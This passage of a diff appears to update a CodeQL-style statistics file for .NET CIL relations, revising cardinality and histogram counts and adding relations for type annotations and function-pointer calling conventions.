@@ <b> <a>74</a> <b>104</b> -<v>247</v> +<v>248</v> </b> <b> <a>104</a> @@ -37971,7 +38008,7 @@ <b> <a>271</a> <b>365</b> -<v>247</v> +<v>248</v> </b> <b> <a>372</a> @@ -37986,7 +38023,7 @@ <b> <a>1599</a> <b>33053</b> -<v>189</v> +<v>190</v> </b> </bs> </hist> @@ -38027,7 +38064,7 @@ <b> <a>74</a> <b>104</b> -<v>247</v> +<v>248</v> </b> <b> <a>104</a> @@ -38047,7 +38084,7 @@ <b> <a>271</a> <b>365</b> -<v>247</v> +<v>248</v> </b> <b> <a>372</a> @@ -38062,7 +38099,7 @@ <b> <a>1599</a> <b>33053</b> -<v>189</v> +<v>190</v> </b> </bs> </hist> @@ -38072,15 +38109,15 @@ </relation> <relation> <name>cil_implements</name> -<cardinality>106838</cardinality> +<cardinality>107107</cardinality> <columnsizes> <e> <k>id</k> -<v>106080</v> +<v>106347</v> </e> <e> <k>decl</k> -<v>17684</v> +<v>17728</v> </e> </columnsizes> <dependencies> @@ -38094,12 +38131,12 @@ <b> <a>1</a> <b>2</b> -<v>105321</v> +<v>105587</v> </b> <b> <a>2</a> <b>3</b> -<v>758</v> +<v>760</v> </b> </bs> </hist> @@ -38115,27 +38152,27 @@ <b> <a>1</a> <b>2</b> -<v>11510</v> +<v>11539</v> </b> <b> <a>2</a> <b>3</b> -<v>2697</v> +<v>2704</v> </b> <b> <a>3</a> <b>5</b> -<v>1574</v> +<v>1578</v> </b> <b> <a>5</a> <b>18</b> -<v>1327</v> +<v>1330</v> </b> <b> <a>18</a> <b>2180</b> -<v>573</v> +<v>575</v> </b> </bs> </hist> @@ -38145,23 +38182,23 @@ </relation> <relation> <name>cil_field</name> -<cardinality>1006301</cardinality> +<cardinality>1008837</cardinality> <columnsizes> <e> <k>id</k> -<v>1006301</v> +<v>1008837</v> </e> <e> <k>parent</k> -<v>200712</v> +<v>201218</v> </e> <e> <k>name</k> -<v>360088</v> +<v>360996</v> </e> <e> <k>field_type</k> -<v>165505</v> +<v>165922</v> </e> </columnsizes> <dependencies> @@ -38175,7 +38212,7 @@ <b> <a>1</a> <b>2</b> -<v>1006301</v> +<v>1008837</v> </b> </bs> </hist> @@ -38191,7 +38228,7 @@ <b> <a>1</a> <b>2</b> -<v>1006301</v> +<v>1008837</v> </b> </bs> </hist> @@ -38207,7 +38244,7 @@ <b> <a>1</a> <b>2</b> -<v>1006301</v> +<v>1008837</v> </b> </bs> </hist> @@ -38223,42 +38260,42 @@ <b> <a>1</a> <b>2</b> -<v>60489</v> +<v>60641</v> </b> <b> <a>2</a> <b>3</b> -<v>40943</v> +<v>41046</v> </b> <b> <a>3</a> <b>4</b> -<v>22243</v> +<v>22299</v> </b> <b> <a>4</a> <b>5</b> -<v>15448</v> +<v>15486</v> </b> <b> <a>5</a> <b>6</b> -<v>11685</v> +<v>11715</v> </b> <b> <a>6</a> <b>8</b> -<v>16911</v> +<v>16953</v> </b> <b> <a>8</a> <b>12</b> -<v>17815</v> +<v>17860</v> </b> <b> <a>12</a> <b>227</b> -<v>15059</v> +<v>15097</v> </b> <b> <a>237</a> @@ -38279,42 +38316,42 @@ <b> <a>1</a> <b>2</b> -<v>60489</v> +<v>60641</v> </b> <b> <a>2</a> <b>3</b> -<v>40943</v> +<v>41046</v> </b> <b> <a>3</a> <b>4</b> -<v>22243</v> +<v>22299</v> </b> <b> <a>4</a> <b>5</b> -<v>15448</v> +<v>15486</v> </b> <b> <a>5</a> <b>6</b> -<v>11685</v> +<v>11715</v> </b> <b> <a>6</a> <b>8</b> -<v>16911</v> +<v>16953</v> </b> <b> <a>8</a> <b>12</b> -<v>17815</v> +<v>17860</v> </b> <b> <a>12</a> <b>227</b> -<v>15059</v> +<v>15097</v> </b> <b> <a>237</a> @@ -38335,37 +38372,37 @@ <b> <a>1</a> <b>2</b> -<v>70255</v> +<v>70432</v> </b> <b> <a>2</a> <b>3</b> -<v>59629</v> +<v>59779</v> </b> <b> <a>3</a> <b>4</b> -<v>20377</v> +<v>20428</v> </b> <b> <a>4</a> <b>5</b> -<v>11437</v> +<v>11466</v> </b> <b> <a>5</a> <b>7</b> -<v>15652</v> +<v>15691</v> </b> <b> <a>7</a> <b>11</b> -<v>16021</v> +<v>16062</v> </b> <b> <a>11</a> <b>132</b> -<v>7340</v> +<v>7358</v> </b> </bs> </hist> @@ -38381,22 +38418,22 @@ <b> <a>1</a> <b>2</b> -<v>261289</v> +<v>261948</v> </b> <b> <a>2</a> <b>3</b> -<v>55234</v> +<v>55374</v> </b> <b> <a>3</a> <b>7</b> -<v>30006</v> +<v>30082</v> </b> <b> <a>7</a> <b>5664</b> -<v>13557</v> +<v>13591</v> </b> </bs> </hist> @@ -38412,22 +38449,22 @@ <b> <a>1</a> <b>2</b> -<v>261289</v> +<v>261948</v> </b> <b> <a>2</a> <b>3</b> -<v>55234</v> +<v>55374</v> </b> <b> <a>3</a> <b>7</b> -<v>30006</v> +<v>30082</v> </b> <b> <a>7</a> <b>5664</b> -<v>13557</v> +<v>13591</v> </b> </bs> </hist> @@ -38443,17 +38480,17 @@ <b> <a>1</a> <b>2</b> -<v>304746</v> +<v>305514</v> </b> <b> <a>2</a> <b>3</b> -<v>33982</v> +<v>34068</v> </b> <b> <a>3</a> <b>2790</b> -<v>21358</v> +<v>21412</v> </b> </bs> </hist> @@ -38469,32 +38506,32 @@ <b> <a>1</a> <b>2</b> -<v>82441</v> +<v>82649</v> </b> <b> <a>2</a> <b>3</b> -<v>43670</v> +<v>43780</v> </b> <b> <a>3</a> <b>4</b> -<v>8939</v> +<v>8961</v> </b> <b> <a>4</a> <b>7</b> -<v>15224</v> +<v>15262</v> </b> <b> <a>7</a> <b>31</b> -<v>12512</v> +<v>12543</v> </b> <b> <a>31</a> <b>21103</b> -<v>2717</v> +<v>2724</v> </b> </bs> </hist> @@ -38510,22 +38547,22 @@ <b> <a>1</a> <b>2</b> -<v>96489</v> +<v>96732</v> </b> <b> <a>2</a> <b>3</b> -<v>44394</v> +<v>44506</v> </b> <b> <a>3</a> <b>6</b> -<v>14198</v> +<v>14234</v> </b> <b> <a>6</a> <b>12257</b> -<v>10421</v> +<v>10448</v> </b> </bs> </hist> @@ -38541,27 +38578,27 @@ <b> <a>1</a> <b>2</b> -<v>119554</v> +<v>119856</v> </b> <b> <a>2</a> <b>3</b> -<v>17922</v> +<v>17967</v> </b> <b> <a>3</a> <b>5</b> -<v>13212</v> +<v>13245</v> </b> <b> <a>5</a> <b>20</b> -<v>12439</v> +<v>12470</v> </b> <b> <a>20</a> <b>8901</b> -<v>2376</v> +<v>2382</v> </b> </bs> </hist> @@ -38571,15 +38608,15 @@ </relation> <relation> <name>cil_parameter</name> -<cardinality>4537393</cardinality> +<cardinality>4548828</cardinality> <columnsizes> <e> <k>id</k> -<v>4537393</v> +<v>4548828</v> </e> <e> -<k>method</k> -<v>2215824</v> +<k>parameterizable</k> +<v>2221408</v> </e> <e> <k>index</k> @@ -38587,13 +38624,13 @@ </e> <e> <k>param_type</k> -<v>551390</v> +<v>552780</v> </e> </columnsizes> <dependencies> <dep> <src>id</src> -<trg>method</trg> +<trg>parameterizable</trg> <val> <hist> <budget>12</budget> @@ -38601,7 +38638,7 @@ <b> <a>1</a> <b>2</b> -<v>4537393</v> +<v>4548828</v> </b> </bs> </hist> @@ -38617,7 +38654,7 @@ <b> <a>1</a> <b>2</b> -<v>4537393</v> +<v>4548828</v> </b> </bs> </hist> @@ -38633,14 +38670,14 @@ <b> <a>1</a> <b>2</b> -<v>4537393</v> +<v>4548828</v> </b> </bs> </hist> </val> </dep> <dep> -<src>method</src> +<src>parameterizable</src> <trg>id</trg> <val> <hist> @@ -38649,34 +38686,34 @@ <b> <a>1</a> <b>2</b> -<v>898738</v> +<v>901003</v> </b> <b> <a>2</a> <b>3</b> -<v>785814</v> +<v>787794</v> </b> <b> <a>3</a> <b>4</b> -<v>323966</v> +<v>324783</v> </b> <b> <a>4</a> <b>7</b> -<v>174570</v> +<v>175010</v> </b> <b> <a>7</a> <b>42</b> -<v>32733</v> +<v>32816</v> </b> </bs> </hist> </val> </dep> <dep> -<src>method</src> +<src>parameterizable</src> <trg>index</trg> <val> <hist> @@ -38685,34 +38722,34 @@ <b> <a>1</a> <b>2</b> -<v>898738</v> +<v>901003</v> </b> <b> <a>2</a> <b>3</b> -<v>785814</v> +<v>787794</v> </b> <b> <a>3</a> <b>4</b> -<v>323966</v> +<v>324783</v> </b> <b> <a>4</a> <b>7</b> -<v>174570</v> +<v>175010</v> </b> <b> <a>7</a> <b>42</b> -<v>32733</v> +<v>32816</v> </b> </bs> </hist> </val> </dep> <dep> -<src>method</src> +<src>parameterizable</src> <trg>param_type</trg> <val> <hist> @@ -38721,22 +38758,22 @@ <b> <a>1</a> <b>2</b> -<v>946672</v> +<v>949058</v> </b> <b> <a>2</a> <b>3</b> -<v>796299</v> +<v>798306</v> </b> <b> <a>3</a> <b>4</b> -<v>312354</v> +<v>313141</v> </b> <b> <a>4</a> <b>23</b> -<v>160498</v> +<v>160902</v> </b> </bs> </hist> @@ -38820,7 +38857,7 @@ </dep> <dep> <src>index</src> -<trg>method</trg> +<trg>parameterizable</trg> <val> <hist> <budget>12</budget> @@ -38985,42 +39022,42 @@ <b> <a>1</a> <b>2</b> -<v>185021</v> +<v>185488</v> </b> <b> <a>2</a> <b>3</b> -<v>136781</v> +<v>137126</v> </b> <b> <a>3</a> <b>4</b> -<v>44924</v> +<v>45038</v> </b> <b> <a>4</a> <b>5</b> -<v>38372</v> +<v>38468</v> </b> <b> <a>5</a> <b>7</b> -<v>43763</v> +<v>43873</v> </b> <b> <a>7</a> <b>11</b> -<v>42674</v> +<v>42781</v> </b> <b> <a>11</a> <b>27</b> -<v>41794</v> +<v>41899</v> </b> <b> <a>27</a> <b>58010</b> -<v>18058</v> +<v>18103</v> </b> </bs> </hist> @@ -39028,7 +39065,7 @@ </dep> <dep> <src>param_type</src> -<trg>method</trg> +<trg>parameterizable</trg> <val> <hist> <budget>12</budget> @@ -39036,42 +39073,42 @@ <b> <a>1</a> <b>2</b> -<v>188220</v> +<v>188694</v> </b> <b> <a>2</a> <b>3</b> -<v>135484</v> +<v>135825</v> </b> <b> <a>3</a> <b>4</b> -<v>45337</v> +<v>45452</v> </b> <b> <a>4</a> <b>5</b> -<v>37157</v> +<v>37250</v> </b> <b> <a>5</a> <b>7</b> -<v>44210</v> +<v>44321</v> </b> <b> <a>7</a> <b>11</b> -<v>42732</v> +<v>42840</v> </b> <b> <a>11</a> <b>28</b> -<v>41633</v> +<v>41738</v> </b> <b> <a>28</a> <b>46068</b> -<v>16614</v> +<v>16656</v> </b> </bs> </hist> @@ -39087,22 +39124,22 @@ <b> <a>1</a> <b>2</b> -<v>384791</v> +<v>385761</v> </b> <b> <a>2</a> <b>3</b> -<v>109604</v> +<v>109880</v> </b> <b> <a>3</a> <b>4</b> -<v>44375</v> +<v>44487</v> </b> <b> <a>4</a> <b>36</b> -<v>12618</v> +<v>12650</v> </b> </bs> </hist> @@ -39112,37 +39149,37 @@ </relation> <relation> <name>cil_parameter_in</name> -<cardinality>32286</cardinality> +<cardinality>32367</cardinality> <columnsizes> <e> <k>id</k> -<v>32286</v> +<v>32367</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_parameter_out</name> -<cardinality>45930</cardinality> +<cardinality>46046</cardinality> <columnsizes> <e> <k>id</k> -<v>45930</v> +<v>46046</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>cil_setter</name> -<cardinality>106542</cardinality> +<cardinality>106810</cardinality> <columnsizes> <e> <k>prop</k> -<v>106542</v> +<v>106810</v> </e> <e> <k>method</k> -<v>106542</v> +<v>106810</v> </e> </columnsizes> <dependencies> @@ -39156,7 +39193,7 @@ <b> <a>1</a> <b>2</b> -<v>106542</v> +<v>106810</v> </b> </bs> </hist> @@ -39172,7 +39209,7 @@ <b> <a>1</a> <b>2</b> -<v>106542</v> +<v>106810</v> </b> </bs> </hist> @@ -39182,11 +39219,11 @@ </relation> <relation> <name>cil_custom_modifiers</name> -<cardinality>4097</cardinality> +<cardinality>4108</cardinality> <columnsizes> <e> <k>id</k> -<v>4097</v> +<v>4108</v> </e> <e> <k>modifier</k> @@ -39208,7 +39245,7 @@ <b> <a>1</a> <b>2</b> -<v>4097</v> +<v>4108</v> </b> </bs> </hist> @@ -39224,7 +39261,7 @@ <b> <a>1</a> <b>2</b> -<v>4097</v> +<v>4108</v> </b> </bs> </hist> @@ -39347,16 +39384,64 @@ </dependencies> </relation> <relation> +<name>cil_type_annotation</name> +<cardinality>196160</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>196160</v> +</e> +<e> +<k>annotation</k> +<v>4</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>annotation</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>196160</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>annotation</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>40253</a> +<b>40254</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> <name>cil_getter</name> -<cardinality>378594</cardinality> +<cardinality>379548</cardinality> <columnsizes> <e> <k>prop</k> -<v>378594</v> +<v>379548</v> </e> <e> <k>method</k> -<v>378594</v> +<v>379548</v> </e> </columnsizes> <dependencies> @@ -39370,7 +39455,7 @@ <b> <a>1</a> <b>2</b> -<v>378594</v> +<v>379548</v> </b> </bs> </hist> @@ -39386,7 +39471,7 @@ <b> <a>1</a> <b>2</b> -<v>378594</v> +<v>379548</v> </b> </bs> </hist> @@ -39396,15 +39481,15 @@ </relation> <relation> <name>cil_adder</name> -<cardinality>20829</cardinality> +<cardinality>20881</cardinality> <columnsizes> <e> <k>event</k> -<v>20829</v> +<v>20881</v> </e> <e> <k>method</k> -<v>20829</v> +<v>20881</v> </e> </columnsizes> <dependencies> @@ -39418,7 +39503,7 @@ <b> <a>1</a> <b>2</b> -<v>20829</v> +<v>20881</v> </b> </bs> </hist> @@ -39434,7 +39519,7 @@ <b> <a>1</a> <b>2</b> -<v>20829</v> +<v>20881</v> </b> </bs> </hist> @@ -39444,15 +39529,15 @@ </relation> <relation> <name>cil_remover</name> -<cardinality>20829</cardinality> +<cardinality>20881</cardinality> <columnsizes> <e> <k>event</k> -<v>20829</v> +<v>20881</v> </e> <e> <k>method</k> -<v>20829</v> +<v>20881</v> </e> </columnsizes> <dependencies> @@ -39466,7 +39551,7 @@ <b> <a>1</a> <b>2</b> -<v>20829</v> +<v>20881</v> </b> </bs> </hist> @@ -39482,7 +39567,7 @@ <b> <a>1</a> <b>2</b> -<v>20829</v> +<v>20881</v> </b> </bs> </hist> @@ -39540,23 +39625,23 @@ </relation> <relation> <name>cil_property</name> -<cardinality>379138</cardinality> +<cardinality>380094</cardinality> <columnsizes> <e> <k>id</k> -<v>379138</v> +<v>380094</v> </e> <e> <k>parent</k> -<v>93461</v> +<v>93696</v> </e> <e> <k>name</k> -<v>106017</v> +<v>106284</v> </e> <e> <k>property_type</k> -<v>49722</v> +<v>49847</v> </e> </columnsizes> <dependencies> @@ -39570,7 +39655,7 @@ <b> <a>1</a> <b>2</b> -<v>379138</v> +<v>380094</v> </b> </bs> </hist> @@ -39586,7 +39671,7 @@ <b> <a>1</a> <b>2</b> -<v>379138</v> +<v>380094</v> </b> </bs> </hist> @@ -39602,7 +39687,7 @@ <b> <a>1</a> <b>2</b> -<v>379138</v> +<v>380094</v> </b> </bs> </hist> @@ -39618,42 +39703,42 @@ <b> <a>1</a> <b>2</b> -<v>28805</v> +<v>28878</v> </b> <b> <a>2</a> <b>3</b> -<v>22229</v> +<v>22285</v> </b> <b> <a>3</a> <b>4</b> -<v>11389</v> +<v>11417</v> </b> <b> <a>4</a> <b>5</b> -<v>8433</v> +<v>8454</v> </b> <b> <a>5</a> <b>6</b> -<v>5726</v> +<v>5740</v> </b> <b> <a>6</a> <b>9</b> -<v>8642</v> +<v>8664</v> </b> <b> <a>9</a> <b>25</b> -<v>7082</v> +<v>7100</v> </b> <b> <a>25</a> <b>1883</b> -<v>1152</v> +<v>1154</v> </b> </bs> </hist> @@ -39669,42 +39754,42 @@ <b> <a>1</a> <b>2</b> -<v>33540</v> +<v>33625</v> </b> <b> <a>2</a> <b>3</b> -<v>17752</v> +<v>17796</v> </b> <b> <a>3</a> <b>4</b> -<v>11287</v> +<v>11315</v> </b> <b> <a>4</a> <b>5</b> -<v>8443</v> +<v>8464</v> </b> <b> <a>5</a> <b>6</b> -<v>5706</v> +<v>5721</v> </b> <b> <a>6</a> <b>8</b> -<v>6610</v> +<v>6627</v> </b> <b> <a>8</a> <b>15</b> -<v>7199</v> +<v>7217</v> </b> <b> <a>15</a> <b>1883</b> -<v>2921</v> +<v>2928</v> </b> </bs> </hist> @@ -39720,32 +39805,32 @@ <b> <a>1</a> <b>2</b> -<v>34984</v> +<v>35072</v> </b> <b> <a>2</a> <b>3</b> -<v>25704</v> +<v>25769</v> </b> <b> <a>3</a> <b>4</b> -<v>13445</v> +<v>13479</v> </b> <b> <a>4</a> <b>5</b> -<v>8083</v> +<v>8104</v> </b> <b> <a>5</a> <b>8</b> -<v>7738</v> +<v>7758</v> </b> <b> <a>8</a> <b>50</b> -<v>3504</v> +<v>3513</v> </b> </bs> </hist> @@ -39761,27 +39846,27 @@ <b> <a>1</a> <b>2</b> -<v>62501</v> +<v>62659</v> </b> <b> <a>2</a> <b>3</b> -<v>21388</v> +<v>21442</v> </b> <b> <a>3</a> <b>4</b> -<v>6465</v> +<v>6481</v> </b> <b> <a>4</a> <b>8</b> -<v>8739</v> +<v>8761</v> </b> <b> <a>8</a> <b>2134</b> -<v>6921</v> +<v>6939</v> </b> </bs> </hist> @@ -39797,27 +39882,27 @@ <b> <a>1</a> <b>2</b> -<v>62501</v> +<v>62659</v> </b> <b> <a>2</a> <b>3</b> -<v>21461</v> +<v>21515</v> </b> <b> <a>3</a> <b>4</b> -<v>6440</v> +<v>6456</v> </b> <b> <a>4</a> <b>8</b> -<v>8754</v> +<v>8776</v> </b> <b> <a>8</a> <b>1400</b> -<v>6858</v> +<v>6876</v> </b> </bs> </hist> @@ -39833,17 +39918,17 @@ <b> <a>1</a> <b>2</b> -<v>89222</v> +<v>89447</v> </b> <b> <a>2</a> <b>3</b> -<v>10946</v> +<v>10974</v> </b> <b> <a>3</a> <b>568</b> -<v>5847</v> +<v>5862</v> </b> </bs> </hist> @@ -39859,27 +39944,27 @@ <b> <a>1</a> <b>2</b> -<v>31353</v> +<v>31432</v> </b> <b> <a>2</a> <b>3</b> -<v>7500</v> +<v>7519</v> </b> <b> <a>3</a> <b>4</b> -<v>3174</v> +<v>3182</v> </b> <b> <a>4</a> <b>8</b> -<v>4355</v> +<v>4366</v> </b> <b> <a>8</a> <b>15452</b> -<v>3339</v> +<v>3347</v> </b> </bs> </hist> @@ -39895,27 +39980,27 @@ <b> <a>1</a> <b>2</b> -<v>33137</v> +<v>33220</v> </b> <b> <a>2</a> <b>3</b> -<v>7014</v> +<v>7032</v> </b> <b> <a>3</a> <b>4</b> -<v>3038</v> +<v>3045</v> </b> <b> <a>4</a> <b>8</b> -<v>3854</v> +<v>3864</v> </b> <b> <a>8</a> <b>5858</b> -<v>2678</v> +<v>2685</v> </b> </bs> </hist> @@ -39931,22 +40016,22 @@ <b> <a>1</a> <b>2</b> -<v>39845</v> +<v>39945</v> </b> <b> <a>2</a> <b>3</b> -<v>5298</v> +<v>5311</v> </b> <b> <a>3</a> <b>12</b> -<v>3791</v> +<v>3801</v> </b> <b> <a>12</a> <b>6253</b> -<v>787</v> +<v>789</v> </b> </bs> </hist> @@ -39956,23 +40041,23 @@ </relation> <relation> <name>cil_event</name> -<cardinality>20799</cardinality> +<cardinality>20852</cardinality> <columnsizes> <e> <k>id</k> -<v>20799</v> +<v>20852</v> </e> <e> <k>parent</k> -<v>6445</v> +<v>6461</v> </e> <e> <k>name</k> -<v>13037</v> +<v>13069</v> </e> <e> <k>event_type</k> -<v>6781</v> +<v>6798</v> </e> </columnsizes> <dependencies> @@ -39986,7 +40071,7 @@ <b> <a>1</a> <b>2</b> -<v>20799</v> +<v>20852</v> </b> </bs> </hist> @@ -40002,7 +40087,7 @@ <b> <a>1</a> <b>2</b> -<v>20799</v> +<v>20852</v> </b> </bs> </hist> @@ -40018,7 +40103,7 @@ <b> <a>1</a> <b>2</b> -<v>20799</v> +<v>20852</v> </b> </bs> </hist> @@ -40034,17 +40119,17 @@ <b> <a>1</a> <b>2</b> -<v>5731</v> +<v>5745</v> </b> <b> <a>2</a> <b>7</b> -<v>490</v> +<v>492</v> </b> <b> <a>7</a> <b>465</b> -<v>223</v> +<v>224</v> </b> </bs> </hist> @@ -40060,17 +40145,17 @@ <b> <a>1</a> <b>2</b> -<v>5731</v> +<v>5745</v> </b> <b> <a>2</a> <b>7</b> -<v>490</v> +<v>492</v> </b> <b> <a>7</a> <b>465</b> -<v>223</v> +<v>224</v> </b> </bs> </hist> @@ -40086,12 +40171,12 @@ <b> <a>1</a> <b>2</b> -<v>5906</v> +<v>5920</v> </b> <b> <a>2</a> <b>20</b> -<v>486</v> +<v>487</v> </b> <b> <a>30</a> @@ -40112,17 +40197,17 @@ <b> <a>1</a> <b>2</b> -<v>11632</v> +<v>11661</v> </b> <b> <a>2</a> <b>4</b> -<v>962</v> +<v>964</v> </b> <b> <a>4</a> <b>566</b> -<v>442</v> +<v>443</v> </b> </bs> </hist> @@ -40138,17 +40223,17 @@ <b> <a>1</a> <b>2</b> -<v>11632</v> +<v>11661</v> </b> <b> <a>2</a> <b>4</b> -<v>962</v> +<v>964</v> </b> <b> <a>4</a> <b>566</b> -<v>442</v> +<v>443</v> </b> </bs> </hist> @@ -40164,12 +40249,12 @@ <b> <a>1</a> <b>2</b> -<v>12444</v> +<v>12475</v> </b> <b> <a>2</a> <b>566</b> -<v>593</v> +<v>594</v> </b> </bs> </hist> @@ -40185,27 +40270,27 @@ <b> <a>1</a> <b>2</b> -<v>943</v> +<v>945</v> </b> <b> <a>2</a> <b>3</b> -<v>4506</v> +<v>4517</v> </b> <b> <a>3</a> <b>4</b> -<v>583</v> +<v>584</v> </b> <b> <a>4</a> <b>8</b> -<v>573</v> +<v>575</v> </b> <b> <a>8</a> <b>318</b> -<v>174</v> +<v>175</v> </b> </bs> </hist> @@ -40221,17 +40306,17 @@ <b> <a>1</a> <b>2</b> -<v>1419</v> +<v>1422</v> </b> <b> <a>2</a> <b>3</b> -<v>5074</v> +<v>5087</v> </b> <b> <a>3</a> <b>32</b> -<v>286</v> +<v>287</v> </b> </bs> </hist> @@ -40247,27 +40332,27 @@ <b> <a>1</a> <b>2</b> -<v>1307</v> +<v>1310</v> </b> <b> <a>2</a> <b>3</b> -<v>4335</v> +<v>4346</v> </b> <b> <a>3</a> <b>4</b> -<v>495</v> +<v>497</v> </b> <b> <a>4</a> <b>10</b> -<v>529</v> +<v>531</v> </b> <b> <a>10</a> <b>243</b> -<v>111</v> +<v>112</v> </b> </bs> </hist> @@ -40277,23 +40362,23 @@ </relation> <relation> <name>cil_local_variable</name> -<cardinality>1148313</cardinality> +<cardinality>1151207</cardinality> <columnsizes> <e> <k>id</k> -<v>1148313</v> +<v>1151207</v> </e> <e> <k>impl</k> -<v>347916</v> +<v>348793</v> </e> <e> <k>index</k> -<v>690</v> +<v>691</v> </e> <e> <k>var_type</k> -<v>153926</v> +<v>154294</v> </e> </columnsizes> <dependencies> @@ -40307,7 +40392,7 @@ <b> <a>1</a> <b>2</b> -<v>1148313</v> +<v>1151207</v> </b> </bs> </hist> @@ -40323,7 +40408,7 @@ <b> <a>1</a> <b>2</b> -<v>1148313</v> +<v>1151207</v> </b> </bs> </hist> @@ -40339,7 +40424,7 @@ <b> <a>1</a> <b>2</b> -<v>1148313</v> +<v>1151207</v> </b> </bs> </hist> @@ -40355,37 +40440,37 @@ <b> <a>1</a> <b>2</b> -<v>139610</v> +<v>139962</v> </b> <b> <a>2</a> <b>3</b> -<v>61904</v> +<v>62060</v> </b> <b> <a>3</a> <b>4</b> -<v>49216</v> +<v>49341</v> </b> <b> <a>4</a> <b>5</b> -<v>23424</v> +<v>23483</v> </b> <b> <a>5</a> <b>7</b> -<v>31809</v> +<v>31890</v> </b> <b> <a>7</a> <b>12</b> -<v>28796</v> +<v>28868</v> </b> <b> <a>12</a> <b>143</b> -<v>13153</v> +<v>13186</v> </b> </bs> </hist> @@ -40401,37 +40486,37 @@ <b> <a>1</a> <b>2</b> -<v>139610</v> +<v>139962</v> </b> <b> <a>2</a> <b>3</b> -<v>61904</v> +<v>62060</v> </b> <b> <a>3</a> <b>4</b> -<v>49216</v> +<v>49341</v> </b> <b> <a>4</a> <b>5</b> -<v>23424</v> +<v>23483</v> </b> <b> <a>5</a> <b>7</b> -<v>31809</v> +<v>31890</v> </b> <b> <a>7</a> <b>12</b> -<v>28796</v> +<v>28868</v> </b> <b> <a>12</a> <b>143</b> -<v>13153</v> +<v>13186</v> </b> </bs> </hist> @@ -40447,32 +40532,32 @@ <b> <a>1</a> <b>2</b> -<v>168207</v> +<v>168427</v> </b> <b> <a>2</a> <b>3</b> -<v>69871</v> +<v>70149</v> </b> <b> <a>3</a> <b>4</b> -<v>37754</v> +<v>37952</v> </b> <b> <a>4</a> <b>5</b> -<v>20561</v> +<v>20652</v> </b> <b> <a>5</a> <b>7</b> -<v>27634</v> +<v>27679</v> </b> <b> <a>7</a> <b>47</b> -<v>23886</v> +<v>23932</v> </b> </bs> </hist> @@ -40630,7 +40715,7 @@ <b> <a>1</a> <b>2</b> -<v>72</v> +<v>73</v> </b> <b> <a>2</a> @@ -40679,17 +40764,17 @@ </b> <b> <a>143</a> -<b>541</b> +<b>539</b> <v>53</v> </b> <b> -<a>600</a> -<b>4921</b> +<a>599</a> +<b>4919</b> <v>53</v> </b> <b> -<a>7228</a> -<b>19499</b> +<a>7226</a> +<b>19498</b> <v>14</v> </b> </bs> @@ -40706,37 +40791,37 @@ <b> <a>1</a> <b>2</b> -<v>81114</v> +<v>81328</v> </b> <b> <a>2</a> <b>3</b> -<v>27201</v> +<v>27250</v> </b> <b> <a>3</a> <b>4</b> -<v>8351</v> +<v>8377</v> </b> <b> <a>4</a> <b>5</b> -<v>11802</v> +<v>11827</v> </b> <b> <a>5</a> <b>8</b> -<v>12759</v> +<v>12792</v> </b> <b> <a>8</a> <b>76</b> -<v>11554</v> +<v>11578</v> </b> <b> <a>76</a> -<b>35710</b> -<v>1142</v> +<b>35712</b> +<v>1140</v> </b> </bs> </hist> @@ -40752,32 +40837,32 @@ <b> <a>1</a> <b>2</b> -<v>85139</v> +<v>85358</v> </b> <b> <a>2</a> <b>3</b> -<v>30935</v> +<v>30993</v> </b> <b> <a>3</a> <b>4</b> -<v>8365</v> +<v>8386</v> </b> <b> <a>4</a> <b>5</b> -<v>11671</v> +<v>11705</v> </b> <b> <a>5</a> <b>14</b> -<v>11996</v> +<v>12027</v> </b> <b> <a>14</a> <b>21451</b> -<v>5818</v> +<v>5823</v> </b> </bs> </hist> @@ -40793,27 +40878,80 @@ <b> <a>1</a> <b>2</b> -<v>96416</v> +<v>96664</v> </b> <b> <a>2</a> <b>3</b> -<v>28626</v> +<v>28688</v> </b> <b> <a>3</a> <b>4</b> -<v>13737</v> +<v>13776</v> </b> <b> <a>4</a> <b>9</b> -<v>11850</v> +<v>11866</v> </b> <b> <a>9</a> <b>122</b> -<v>3295</v> +<v>3299</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>cil_function_pointer_calling_conventions</name> +<cardinality>9</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>9</v> +</e> +<e> +<k>kind</k> +<v>2</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>9</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> </b> </bs> </hist> @@ -40823,15 +40961,15 @@ </relation> <relation> <name>cil_handler</name> -<cardinality>101248</cardinality> +<cardinality>101503</cardinality> <columnsizes> <e> <k>id</k> -<v>101248</v> +<v>101503</v> </e> <e> <k>impl</k> -<v>71280</v> +<v>71460</v> </e> <e> <k>index</k> @@ -40843,15 +40981,15 @@ </e> <e> <k>try_start</k> -<v>97418</v> +<v>97663</v> </e> <e> <k>try_end</k> -<v>99629</v> +<v>99880</v> </e> <e> <k>handler_start</k> -<v>101248</v> +<v>101503</v> </e> </columnsizes> <dependencies> @@ -40865,7 +41003,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -40881,7 +41019,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -40897,7 +41035,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -40913,7 +41051,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -40929,7 +41067,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -40945,7 +41083,7 @@ <b> <a>1</a> <b>2</b> -<v>101248</v> +<v>101503</v> </b> </bs> </hist> @@ -40961,22 +41099,22 @@ <b> <a>1</a> <b>2</b> 